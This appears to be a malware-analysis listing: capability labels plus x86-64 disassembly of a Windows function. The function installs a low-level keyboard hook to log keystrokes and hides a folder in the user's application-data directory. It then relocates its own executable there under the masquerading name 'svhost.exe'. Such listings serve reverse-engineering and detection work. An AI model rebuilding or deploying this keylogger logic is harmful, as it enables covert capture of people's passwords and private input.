Function at 0x140001370
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Get file attributes
Log keystrokes via application hook
Move file
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x590], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_AttachConsole]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x140004514]
lea rdx, str.CONIN_
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x140004520]
lea rdx, str.CONOUT_
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x140004520]
lea rdx, str.CONOUT_
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140001515
lea r8, str._sssss1
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchAppend]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001489
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 2
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8d, 0x104
lea rdx, [rbp + 0x380]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001515
lea r9, [rsp + 0x60]
lea r8, str._s_svhost.exe
mov edx, 0x104
lea rcx, [rbp + 0x170]
call fcn.1400012b0
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400014de
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8d, 9
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x140001515
lea r8, [rbp + 0x170]
mov edx, 0x104
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001d40]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140007700], rax
test rax, rax
jne 0x14000157a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_install_keyboard_hook._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400020d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov edx, 1
lea rcx, [0x140001780]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [0x140007718], rax
lea r8, [0x1400017a0]
mov edx, 0xfffffffc
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [0x140007708], rax
lea rdi, [0x140004534]
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x140004530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f00
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.140002270
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rdx, qword [rsp + 0x38]
cmp qword [rsp + 0x48], 4
jne 0x140001680
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rdi + rax - 1]
jne 0x140001677
cmp rax, 4
jne 0x140001660
xor eax, eax
jmp 0x14000167c
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000168f
lea rcx, [rsp + 0x38]
call fcn.1400017f0
jmp 0x140001600
mov byte [0x140007710], 0
mov r8, qword [0x140007708]
mov edx, 0xfffffffc
mov rcx, qword [0x140007718]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [0x140007700]
test rcx, rcx
je 0x140001706
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
test eax, eax
jne 0x1400016fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_uninstall_keyboard_hook._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400020d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [0x140007700], 0
call qword [sym.imp.KERNEL32.dll_FreeConsole]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000174d
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001748
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001748
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000263c
xor eax, eax
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.1400025e0
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret